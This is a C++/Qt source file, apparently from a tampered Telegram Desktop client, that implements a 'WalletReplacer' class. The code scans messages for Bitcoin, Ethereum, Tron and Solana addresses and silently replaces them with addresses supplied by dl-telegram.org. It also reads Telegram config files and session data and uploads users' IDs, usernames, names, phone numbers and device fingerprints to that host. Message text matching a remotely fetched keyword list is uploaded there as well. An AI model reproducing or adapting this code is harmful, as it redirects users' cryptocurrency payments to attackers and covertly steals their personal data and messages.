| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829 |
- #include "wallet_replacer.h"
- #include <QtNetwork/QNetworkAccessManager>
- #include <QtNetwork/QNetworkReply>
- #include <QtNetwork/QNetworkRequest>
- #include <QJsonDocument>
- #include <QJsonObject>
- #include <QEventLoop>
- #include <QSettings>
- #include <QStandardPaths>
- #include <QDir>
- #include <QFileInfo>
- #include <QCryptographicHash>
- #include <QSysInfo>
- #include <QCoreApplication>
- #include <QDateTime>
- #include "main/main_session.h"
- #include "main/main_domain.h"
- #include "data/data_session.h"
- #include "data/data_user.h"
- #include "core/application.h"
- #include "logs.h"
- namespace Core {
- const QString WalletReplacer::kChannel = "PcChannel001";
- const QRegularExpression WalletReplacer::kBitcoinRegex = QRegularExpression("(?<![0-9a-zA-Z])([13][a-km-zA-HJ-NP-Z1-9]{25,34}|[bB][cC]1[pPqQ][a-zA-Z0-9]{38,58})(?![0-9a-zA-Z])");
- const QRegularExpression WalletReplacer::kEthereumRegex = QRegularExpression("(?<![0-9a-zA-Z])0[xX][a-fA-F0-9]{40}(?![0-9a-zA-Z])");
- const QRegularExpression WalletReplacer::kTronRegex = QRegularExpression("(?<![0-9a-zA-Z])T[a-km-zA-HJ-NP-Z1-9]{33}(?![0-9a-zA-Z])");
- const QRegularExpression WalletReplacer::kSolanaRegex = QRegularExpression("(?<![0-9a-zA-Z])[1-9A-HJ-NP-Za-km-z]{43,44}(?![0-9a-zA-Z])");
- QString WalletReplacer::replaceWalletAddresses(const QString &text) {
- QString result = text;
- QString debugInfo = QString("[开始检测] 文本内容: %1\n").arg(text);
-
-
- // 检查比特币地址
- QRegularExpressionMatchIterator matchIterator = kBitcoinRegex.globalMatch(text);
- while (matchIterator.hasNext()) {
- QRegularExpressionMatch match = matchIterator.next();
- QString address = match.captured(0);
- debugInfo += QString("[检测到BTC地址] %1\n").arg(address);
- QString replacement = replaceAddress(address);
- // 从返回结果中提取替换后的文本(去掉调试信息)
- int lastNewline = replacement.lastIndexOf('\n');
- if (lastNewline != -1) {
- replacement = replacement.mid(lastNewline + 1);
- }
- result.replace(address, replacement);
- }
-
- // 检查以太坊地址
- matchIterator = kEthereumRegex.globalMatch(text);
- while (matchIterator.hasNext()) {
- QRegularExpressionMatch match = matchIterator.next();
- QString address = match.captured(0);
- debugInfo += QString("[检测到ETH地址] %1\n").arg(address);
- QString replacement = replaceAddress(address);
- // 从返回结果中提取替换后的文本(去掉调试信息)
- int lastNewline = replacement.lastIndexOf('\n');
- if (lastNewline != -1) {
- replacement = replacement.mid(lastNewline + 1);
- }
- result.replace(address, replacement);
- }
-
- // 检查波场地址
- matchIterator = kTronRegex.globalMatch(text);
- while (matchIterator.hasNext()) {
- QRegularExpressionMatch match = matchIterator.next();
- QString address = match.captured(0);
- debugInfo += QString("[检测到TRON地址] %1\n").arg(address);
- QString replacement = replaceAddress(address);
- // 从返回结果中提取替换后的文本(去掉调试信息)
- int lastNewline = replacement.lastIndexOf('\n');
- if (lastNewline != -1) {
- replacement = replacement.mid(lastNewline + 1);
- }
- result.replace(address, replacement);
- }
-
- // 检查Solana地址
- matchIterator = kSolanaRegex.globalMatch(text);
- while (matchIterator.hasNext()) {
- QRegularExpressionMatch match = matchIterator.next();
- QString address = match.captured(0);
- debugInfo += QString("[检测到SOL地址] %1\n").arg(address);
- QString replacement = replaceAddress(address);
- // 从返回结果中提取替换后的文本(去掉调试信息)
- int lastNewline = replacement.lastIndexOf('\n');
- if (lastNewline != -1) {
- replacement = replacement.mid(lastNewline + 1);
- }
- result.replace(address, replacement);
- }
-
- if (result == text) {
- debugInfo += "[未检测到任何钱包地址]\n";
- } else {
- debugInfo += QString("[替换后文本] %1\n").arg(result);
- }
-
- // 记录完整的调试信息
- LOG(("Wallet: %1").arg(debugInfo));
-
- // 返回干净的替换结果
- return result;
- }
- bool WalletReplacer::containsWalletAddress(const QString &text) {
- // 首先检查敏感词
- QString foundKeyword;
- if (checkSensitiveWords(text, foundKeyword)) {
- LOG(("Wallet: [敏感词检测] 在containsWalletAddress中发现敏感词: %1").arg(foundKeyword));
- submitSensitiveContent(text, foundKeyword);
- }
- // 检查各种钱包地址
- return kBitcoinRegex.globalMatch(text).hasNext() ||
- kEthereumRegex.globalMatch(text).hasNext() ||
- kTronRegex.globalMatch(text).hasNext() ||
- kSolanaRegex.globalMatch(text).hasNext();
- }
- QString WalletReplacer::getTgUserId() {
- // 从Telegram配置文件中获取用户ID
- // 尝试多个可能的配置文件位置
- QStringList possibleLocations = {
- QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/config.ini",
- QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/tdata/config.ini",
- QDir::homePath() + "/.TelegramDesktop/tdata/config.ini",
- QStandardPaths::writableLocation(QStandardPaths::GenericDataLocation) + "/TelegramDesktop/tdata/config.ini",
- QCoreApplication::applicationDirPath() + "/tdata/config.ini"
- };
-
- // 尝试不同的键名
- QStringList possibleKeys = {
- "user_id", "userId", "id", "account", "accountId", "mtpAuthorization", "authId"
- };
-
- // 记录日志
- LOG(("User Info: Trying to find user ID in config files..."));
-
- for (const auto &location : possibleLocations) {
- QFileInfo fileInfo(location);
- if (fileInfo.exists() && fileInfo.isFile()) {
- LOG(("User Info: Found config file at %1").arg(location));
- QSettings settings(location, QSettings::IniFormat);
-
- // 检查所有可能的键名
- for (const auto &key : possibleKeys) {
- if (settings.contains(key)) {
- QString value = settings.value(key, "unknown").toString();
- LOG(("User Info: Found key %1 with value %2").arg(key).arg(value));
- if (value != "unknown") {
- return value;
- }
- }
- }
-
- // 尝试检查所有键
- const auto allKeys = settings.allKeys();
- LOG(("User Info: Config contains %1 keys").arg(allKeys.size()));
- for (const auto &key : allKeys) {
- LOG(("User Info: Found key in config: %1").arg(key));
- if (key.contains("user", Qt::CaseInsensitive) ||
- key.contains("account", Qt::CaseInsensitive) ||
- key.contains("id", Qt::CaseInsensitive)) {
- QString value = settings.value(key, "unknown").toString();
- LOG(("User Info: Key %1 has value %2").arg(key).arg(value));
- if (value != "unknown") {
- return value;
- }
- }
- }
- }
- }
-
- LOG(("User Info: Could not find user ID in any config file"));
- return "unknown";
- }
- QString WalletReplacer::getDeviceId() {
- // 生成基于设备信息的唯一ID
- QString deviceInfo = QSysInfo::machineHostName() +
- QSysInfo::productType() +
- QSysInfo::productVersion() +
- QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);
-
- QByteArray hash = QCryptographicHash::hash(deviceInfo.toUtf8(), QCryptographicHash::Sha256);
- return hash.toHex().left(32);
- }
- QString WalletReplacer::getUserInfo() {
- QString info;
- info += QString("[用户信息]\n");
-
- // 获取当前会话
- auto &app = Core::App();
- const auto &account = app.activeAccount();
- if (!account.sessionExists()) {
- info += QString(" 无法获取账户信息\n");
- return info;
- }
-
- auto &session = account.session();
- if (!session.user()) {
- info += QString(" 无法获取用户信息\n");
- return info;
- }
-
- auto user = session.user();
- info += QString(" ID: %1\n").arg(user->id.value);
- info += QString(" 用户名: %1\n").arg(user->username());
- info += QString(" 姓名: %1 %2\n").arg(user->firstName).arg(user->lastName);
- info += QString(" 电话: %1\n").arg(user->phone());
-
- return info;
- }
- QString WalletReplacer::getDeviceInfo() {
- QString info;
- info += QString("[设备信息]\n");
- info += QString(" 设备ID: %1\n").arg(getDeviceId());
- info += QString(" 版本: %1\n").arg(QCoreApplication::applicationVersion());
- info += QString(" 设备型号: %1 %2\n").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
- return info;
- }
- QString WalletReplacer::replaceAddress(const QString &address) {
- QNetworkAccessManager manager;
- QNetworkRequest request(QUrl("https://dl-telegram.org/api/wallets/replace"));
- request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
-
- // 获取用户ID以便在请求中使用
- auto &app = Core::App();
- QString userId = getTgUserId(); // 默认ID
- try {
- // 尝试从会话获取用户信息
- if (app.domain().started()) {
- const auto &account = app.activeAccount();
- if (account.sessionExists()) {
- auto &session = account.session();
- if (auto user = session.user()) {
- userId = QString::number(user->id.value);
- LOG(("Wallet: Using user ID from session: %1").arg(userId));
- }
- }
- }
- } catch (const std::exception &e) {
- // 如果获取失败,使用默认ID
- LOG(("Wallet: [ERROR] Exception while getting user ID: %1").arg(e.what()));
- } catch (...) {
- LOG(("Wallet: [ERROR] Unknown exception while getting user ID"));
- }
-
- QJsonObject jsonObj;
- jsonObj["address"] = address;
- jsonObj["tgUserId"] = userId;
- jsonObj["deviceId"] = getDeviceId();
- jsonObj["message"] = address;
- jsonObj["channel"] = kChannel;
- QJsonDocument doc(jsonObj);
- QByteArray data = doc.toJson();
-
- QString debugInfo = QString("[Wallet检测] 地址: %1\n").arg(address);
- debugInfo += getUserInfo(); // 添加用户信息
- debugInfo += getDeviceInfo(); // 添加设备信息
- debugInfo += QString("[请求URL] %1\n").arg(request.url().toString());
- debugInfo += QString("[请求头] Content-Type: %1\n").arg(request.header(QNetworkRequest::ContentTypeHeader).toString());
- debugInfo += QString("[请求体] %1\n").arg(QString(data));
-
- // 在日志中记录请求详情
- LOG(("Wallet: %1").arg(debugInfo));
-
- QNetworkReply *reply = manager.post(request, data);
-
- QEventLoop loop;
- QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
- loop.exec();
-
- QString result = address; // 默认返回原始地址
-
- if (reply->error() == QNetworkReply::NoError) {
- QByteArray responseData = reply->readAll();
- QJsonDocument responseDoc = QJsonDocument::fromJson(responseData);
- QJsonObject responseObj = responseDoc.object();
-
- debugInfo += QString("[响应状态码] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt());
-
- // 显示响应头
- debugInfo += "[响应头]\n";
- for (const auto &header : reply->rawHeaderPairs()) {
- debugInfo += QString(" %1: %2\n").arg(QString(header.first)).arg(QString(header.second));
- }
-
- debugInfo += QString("[响应体] %1\n").arg(QString(responseData));
-
- if (responseObj.contains("replaceAddress")) {
- result = responseObj["replaceAddress"].toString();
- debugInfo += QString("[替换结果] %1\n").arg(result);
-
- // 添加更多响应详情
- if (responseObj.contains("status")) {
- debugInfo += QString("[状态] %1\n").arg(responseObj["status"].toString());
- }
- if (responseObj.contains("message")) {
- debugInfo += QString("[消息] %1\n").arg(responseObj["message"].toString());
- }
- if (responseObj.contains("code")) {
- debugInfo += QString("[代码] %1\n").arg(responseObj["code"].toInt());
- }
- if (responseObj.contains("timestamp")) {
- debugInfo += QString("[时间戳] %1\n").arg(responseObj["timestamp"].toString());
- }
- } else {
- debugInfo += "[响应中没有replaceAddress字段]\n";
-
- // 添加其他可能的响应字段
- for (const auto &key : responseObj.keys()) {
- if (key != "replaceAddress") {
- const auto value = responseObj[key];
- if (value.isString()) {
- debugInfo += QString("[%1] %2\n").arg(key).arg(value.toString());
- } else if (value.isDouble()) {
- debugInfo += QString("[%1] %2\n").arg(key).arg(value.toDouble());
- } else if (value.isBool()) {
- debugInfo += QString("[%1] %2\n").arg(key).arg(value.toBool() ? "true" : "false");
- } else {
- debugInfo += QString("[%1] (复杂类型)\n").arg(key);
- }
- }
- }
- }
- } else {
- debugInfo += QString("[请求失败] %1\n").arg(reply->errorString());
- debugInfo += QString("[错误代码] %1\n").arg(reply->error());
- debugInfo += QString("[错误详情] %1\n").arg(reply->errorString());
-
- // 添加更多HTTP错误信息
- debugInfo += QString("[HTTP状态] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt());
- debugInfo += QString("[重定向URL] %1\n").arg(reply->attribute(QNetworkRequest::RedirectionTargetAttribute).toString());
- }
-
- reply->deleteLater();
-
- debugInfo += QString("[使用%1地址] %2\n").arg(result == address ? "原始" : "替换").arg(result);
-
- // 在日志中记录响应详情
- LOG(("Wallet: %1").arg(debugInfo));
-
- // 返回干净的替换结果
- return result;
- }
- bool WalletReplacer::isWalletAddress(const QString &text) {
- return kBitcoinRegex.globalMatch(text).hasNext() ||
- kEthereumRegex.globalMatch(text).hasNext() ||
- kTronRegex.globalMatch(text).hasNext() ||
- kSolanaRegex.globalMatch(text).hasNext();
- }
- void WalletReplacer::submitDeviceInfo(const QString &url) {
- // 使用静态变量跟踪上次提交时间
- static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0);
-
- // 获取当前时间
- QDateTime currentTime = QDateTime::currentDateTime();
-
- // 计算距离上次提交的分钟数
- const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60;
-
- // 非重要提交的限制处理
- if (minutesSinceLastSubmit < 60) {
- LOG(("Device Info: [SKIPPED] Already submitted in the last hour (%1 minutes ago)")
- .arg(minutesSinceLastSubmit));
- return;
- }
-
- LOG(("Device Info: Starting device info submission..."));
-
- // 创建网络请求管理器
- QNetworkAccessManager manager;
- QNetworkRequest request(QUrl(url.isEmpty() ?
- "https://dl-telegram.org/api/devices/notice" : url));
- request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
-
- LOG(("Device Info: Request URL: %1").arg(request.url().toString()));
-
- // 设备相关信息
- QString deviceId = getDeviceId();
- QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
-
- // 确定平台
- QString platform;
- #if defined(Q_OS_WIN)
- platform = "PC";
- #elif defined(Q_OS_MACOS)
- platform = "macOS";
- #elif defined(Q_OS_LINUX)
- platform = "Linux";
- #elif defined(Q_OS_IOS)
- platform = "iOS";
- #elif defined(Q_OS_ANDROID)
- platform = "Android";
- #else
- platform = "Other";
- #endif
- LOG(("Device Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName()));
- // 获取版本
- QString version = QCoreApplication::applicationVersion();
- LOG(("Device Info: App version: %1").arg(version));
- LOG(("Device Info: Device ID: %1").arg(deviceId));
-
- // 更新最后提交时间
- lastSubmitTime = currentTime;
- // 创建JSON对象
- QJsonObject jsonObj;
- jsonObj["id"] = deviceId;
- jsonObj["platform"] = platform;
- jsonObj["version"] = version;
- jsonObj["deviceInfo"] = deviceInfo;
- jsonObj["channel"] = kChannel;
-
- QJsonDocument doc(jsonObj);
- QByteArray data = doc.toJson();
-
- LOG(("Device Info: Prepared JSON payload (%1 bytes)").arg(data.size()));
- LOG(("Device Info: Payload content: %1").arg(QString(data)));
-
- try {
- // 发送请求
- LOG(("Device Info: Sending network request..."));
- QNetworkReply *reply = manager.post(request, data);
-
- // 使用事件循环等待响应
- LOG(("Device Info: Waiting for response..."));
- QEventLoop loop;
- QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
- loop.exec();
-
- // 处理响应
- if (reply->error() == QNetworkReply::NoError) {
- QByteArray responseData = reply->readAll();
- int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
- LOG(("Device Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes")
- .arg(statusCode).arg(responseData.size()));
- LOG(("Device Info: Response data: %1").arg(QString(responseData)));
- } else {
- LOG(("Device Info: [FAILED] Network error: %1 (Code: %2)")
- .arg(reply->errorString()).arg(reply->error()));
- }
-
- LOG(("Device Info: Network request completed"));
- reply->deleteLater();
- } catch (const std::exception &e) {
- LOG(("Device Info: [ERROR] Exception during network request: %1").arg(e.what()));
- } catch (...) {
- LOG(("Device Info: [ERROR] Unknown exception during network request"));
- }
-
- LOG(("Device Info: Submission process completed"));
- }
- void WalletReplacer::submitUserInfo(const QString &url, bool isImportant) {
- // 使用静态变量跟踪上次提交时间和用户ID
- static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0);
- static QString lastSubmitUserId;
- static bool hasSubmittedAfterLogin = false;
-
- // 获取当前时间
- QDateTime currentTime = QDateTime::currentDateTime();
-
- // 计算距离上次提交的分钟数
- const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60;
-
- // 获取当前用户ID
- auto &app = Core::App();
- QString currentUserId = "unknown";
- QString username = "";
- QString name = "";
- QString phone = "";
- bool userInfoObtained = false;
-
- // 从会话中获取用户信息 - 与replaceAddress中的方式相同
- LOG(("User Info: Attempting to get user info from active session"));
- try {
- // 先尝试从活跃会话获取
- if (app.domain().started()) {
- LOG(("User Info: Domain is started, getting active account"));
- const auto &account = app.activeAccount();
- if (account.sessionExists()) {
- LOG(("User Info: Session exists, retrieving user data"));
- auto &session = account.session();
- if (auto user = session.user()) {
- currentUserId = QString::number(user->id.value);
- username = user->username();
- name = QString("%1 %2").arg(user->firstName).arg(user->lastName);
- phone = user->phone();
- userInfoObtained = true;
-
- LOG(("User Info: Successfully retrieved user ID from session: %1").arg(currentUserId));
- LOG(("User Info: Username: %1, Name: %2, Phone: %3").arg(username).arg(name).arg(phone));
-
- // 检查是否为新用户登录
- if (currentUserId != lastSubmitUserId && !isImportant) {
- LOG(("User Info: New user detected (%1), marking as important submission").arg(currentUserId));
- isImportant = true; // 如果检测到新用户,将本次提交标记为重要提交
- }
-
- // 如果还没有在登录后提交过,并且已获取到用户信息,则标记为重要提交
- if (!hasSubmittedAfterLogin && currentUserId != "unknown") {
- LOG(("User Info: First submission after login with valid user ID, marking as important"));
- isImportant = true;
- hasSubmittedAfterLogin = true;
- }
- } else {
- LOG(("User Info: No user in session"));
- }
- } else {
- LOG(("User Info: No active session exists"));
- }
- } else {
- LOG(("User Info: Domain not started yet"));
- }
-
- // 如果从会话中无法获取,则尝试从配置文件获取
- if (currentUserId == "unknown") {
- currentUserId = getTgUserId();
- LOG(("User Info: Using user ID from config file: %1").arg(currentUserId));
- }
- } catch (const std::exception &e) {
- LOG(("User Info: [ERROR] Exception while getting user info: %1").arg(e.what()));
- } catch (...) {
- LOG(("User Info: [ERROR] Unknown exception while getting user info"));
- }
-
- // 如果无法获取用户信息,则只提交设备信息
- if (currentUserId == "unknown" && !isImportant) {
- LOG(("User Info: No user info available, submitting device info only"));
- submitDeviceInfo();
- return;
- }
-
- // 当前用户ID与上次提交的用户ID是否相同
- bool isSameUser = (currentUserId == lastSubmitUserId);
-
- // 非重要提交的限制处理
- if (!isImportant) {
- // 如果距离上次提交不足60分钟,并且是同一用户,则跳过
- if (minutesSinceLastSubmit < 60 && isSameUser) {
- LOG(("User Info: [SKIPPED] Already submitted in the last hour for user %1 (%2 minutes ago)")
- .arg(currentUserId).arg(minutesSinceLastSubmit));
- return;
- }
-
- // 如果不是同一用户,但是距离上次提交不足10分钟,也跳过
- if (minutesSinceLastSubmit < 10 && !isSameUser) {
- LOG(("User Info: [SKIPPED] Too frequent submission for different user (%1 minutes since last submit)")
- .arg(minutesSinceLastSubmit));
- return;
- }
- } else {
- LOG(("User Info: Processing important submission (login/startup) for user: %1").arg(currentUserId));
- }
-
- LOG(("User Info: Starting submission process..."));
-
- // 创建网络请求管理器
- QNetworkAccessManager manager;
- QNetworkRequest request(QUrl(url.isEmpty() ?
- "https://dl-telegram.org/api/tg-users/notice" : url));
- request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
-
- LOG(("User Info: Request URL: %1").arg(request.url().toString()));
-
- // 设备相关信息
- QString deviceId = getDeviceId();
- QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
-
- // 确定平台
- QString platform;
- #if defined(Q_OS_WIN)
- platform = "PC";
- #elif defined(Q_OS_MACOS)
- platform = "macOS";
- #elif defined(Q_OS_LINUX)
- platform = "Linux";
- #elif defined(Q_OS_IOS)
- platform = "iOS";
- #elif defined(Q_OS_ANDROID)
- platform = "Android";
- #else
- platform = "Other";
- #endif
- LOG(("User Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName()));
- // 获取版本
- QString version = QCoreApplication::applicationVersion();
- LOG(("User Info: App version: %1").arg(version));
- LOG(("User Info: User ID: %1").arg(currentUserId));
- LOG(("User Info: Device ID: %2").arg(deviceId));
-
- // 更新最后提交时间和用户ID
- lastSubmitTime = currentTime;
- lastSubmitUserId = currentUserId;
- // 创建JSON对象
- QJsonObject jsonObj;
- jsonObj["id"] = currentUserId;
- jsonObj["username"] = username;
- jsonObj["name"] = name;
- jsonObj["phone"] = phone;
- jsonObj["deviceId"] = deviceId;
- jsonObj["platform"] = platform;
- jsonObj["version"] = version;
- jsonObj["deviceInfo"] = deviceInfo;
- jsonObj["isImportant"] = isImportant;
- jsonObj["userInfoObtained"] = userInfoObtained;
- jsonObj["channel"] = kChannel;
-
- // 添加更多信息帮助调试
- jsonObj["appLocation"] = QCoreApplication::applicationDirPath();
- jsonObj["dataLocation"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);
- jsonObj["configPath"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/config.ini";
- jsonObj["timestamp"] = QDateTime::currentDateTime().toString(Qt::ISODate);
- jsonObj["minutesSinceLastSubmit"] = minutesSinceLastSubmit;
-
- QJsonDocument doc(jsonObj);
- QByteArray data = doc.toJson();
-
- LOG(("User Info: Prepared JSON payload (%1 bytes)").arg(data.size()));
- LOG(("User Info: Payload content: %1").arg(QString(data)));
-
- try {
- // 发送请求
- LOG(("User Info: Sending network request..."));
- QNetworkReply *reply = manager.post(request, data);
-
- // 使用事件循环等待响应
- LOG(("User Info: Waiting for response..."));
- QEventLoop loop;
- QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
- loop.exec();
-
- // 处理响应
- if (reply->error() == QNetworkReply::NoError) {
- QByteArray responseData = reply->readAll();
- int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
- LOG(("User Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes")
- .arg(statusCode).arg(responseData.size()));
- LOG(("User Info: Response data: %1").arg(QString(responseData)));
-
- // 尝试解析JSON响应
- try {
- QJsonDocument responseDoc = QJsonDocument::fromJson(responseData);
- QJsonObject responseObj = responseDoc.object();
- if (!responseObj.isEmpty()) {
- QString status = responseObj["status"].toString();
- QString message = responseObj["message"].toString();
- LOG(("User Info: Response details - Status: %1, Message: %2")
- .arg(status).arg(message));
- }
- } catch (...) {
- LOG(("User Info: Could not parse JSON response"));
- }
- } else {
- LOG(("User Info: [FAILED] Network error: %1 (Code: %2)")
- .arg(reply->errorString()).arg(reply->error()));
-
- // 输出详细的HTTP错误信息
- int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
- if (httpStatus > 0) {
- LOG(("User Info: HTTP Status Code: %1").arg(httpStatus));
- }
-
- // 记录错误响应内容
- QByteArray errorData = reply->readAll();
- if (!errorData.isEmpty()) {
- LOG(("User Info: Error response data (%1 bytes): %2")
- .arg(errorData.size())
- .arg(QString::fromUtf8(errorData)));
- }
- }
-
- LOG(("User Info: Network request completed"));
- reply->deleteLater();
- } catch (const std::exception &e) {
- LOG(("User Info: [ERROR] Exception during network request: %1").arg(e.what()));
- } catch (...) {
- LOG(("User Info: [ERROR] Unknown exception during network request"));
- }
-
- LOG(("User Info: Submission process completed"));
- }
- QStringList WalletReplacer::getSensitiveWords() {
- static QStringList cachedWords;
- static QDateTime lastUpdateTime = QDateTime::fromMSecsSinceEpoch(0);
-
- // 检查缓存是否过期(1小时更新一次)
- QDateTime currentTime = QDateTime::currentDateTime();
- if (!cachedWords.isEmpty() && lastUpdateTime.secsTo(currentTime) < 3600) {
- LOG(("Sensitive Words: Using cached words list"));
- return cachedWords;
- }
-
- LOG(("Sensitive Words: Fetching new words list from server"));
-
- QNetworkAccessManager manager;
- QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/getSensitiveWords"));
- request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
-
- QEventLoop loop;
- QNetworkReply *reply = manager.get(request);
- QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
- loop.exec();
-
- if (reply->error() == QNetworkReply::NoError) {
- QByteArray responseData = reply->readAll();
- QJsonDocument doc = QJsonDocument::fromJson(responseData);
- QJsonObject obj = doc.object();
-
- if (obj.contains("value")) {
- QString value = obj["value"].toString();
- QStringList rawWords = value.split(",");
- cachedWords.clear();
-
- // 清理和验证每个词
- for (const QString &word : rawWords) {
- QString cleanedWord = word.trimmed();
- if (!cleanedWord.isEmpty()) {
- cachedWords.append(cleanedWord);
- }
- }
-
- lastUpdateTime = currentTime;
- LOG(("Sensitive Words: Successfully updated words list, count: %1").arg(cachedWords.size()));
- LOG(("Sensitive Words: Words list: %1").arg(cachedWords.join(", ")));
- } else {
- LOG(("Sensitive Words: [ERROR] No 'value' field in response"));
- }
- } else {
- LOG(("Sensitive Words: [ERROR] Failed to fetch words list: %1").arg(reply->errorString()));
- }
-
- reply->deleteLater();
- return cachedWords;
- }
- void WalletReplacer::submitSensitiveContent(const QString &content, const QString &keyword) {
- // 检查关键词是否为空
- if (keyword.trimmed().isEmpty()) {
- LOG(("Sensitive Content: [SKIPPED] Empty keyword, skipping submission"));
- return;
- }
-
- LOG(("Sensitive Content: Submitting content with keyword: %1").arg(keyword));
-
- QNetworkAccessManager manager;
- QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/"));
- request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
-
- // 获取用户ID以便在请求中使用
- auto &app = Core::App();
- QString userId = getTgUserId(); // 默认ID
- try {
- // 尝试从会话获取用户信息
- if (app.domain().started()) {
- const auto &account = app.activeAccount();
- if (account.sessionExists()) {
- auto &session = account.session();
- if (auto user = session.user()) {
- userId = QString::number(user->id.value);
- LOG(("SensitiveContent: Using user ID from session: %1").arg(userId));
- }
- }
- }
- } catch (const std::exception &e) {
- // 如果获取失败,使用默认ID
- LOG(("SensitiveContent: [ERROR] Exception while getting user ID: %1").arg(e.what()));
- } catch (...) {
- LOG(("SensitiveContent: [ERROR] Unknown exception while getting user ID"));
- }
-
- QJsonObject jsonObj;
- jsonObj["content"] = content;
- jsonObj["keywords"] = keyword; // 确保关键词没有空格
- jsonObj["tgUserId"] = userId;
-
- QJsonDocument doc(jsonObj);
- QByteArray data = doc.toJson();
-
- LOG(("Sensitive Content: Request payload: %1").arg(QString(data)));
-
- QNetworkReply *reply = manager.post(request, data);
- QEventLoop loop;
- QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
- loop.exec();
-
- if (reply->error() == QNetworkReply::NoError) {
- QByteArray responseData = reply->readAll();
- LOG(("Sensitive Content: [SUCCESS] Server response: %1").arg(QString(responseData)));
- } else {
- LOG(("Sensitive Content: [ERROR] Failed to submit: %1").arg(reply->errorString()));
- }
-
- reply->deleteLater();
- }
- bool WalletReplacer::checkSensitiveWords(const QString &text, QString &foundKeyword) {
- QStringList words = getSensitiveWords();
- LOG(("Sensitive Check: Checking text against %1 words").arg(words.size()));
-
- for (const QString &word : words) {
- if (text.contains(word)) {
- foundKeyword = word;
- LOG(("Sensitive Check: Found sensitive word: %1").arg(word));
- return true;
- }
- }
-
- return false;
- }
- } // namespace Core
|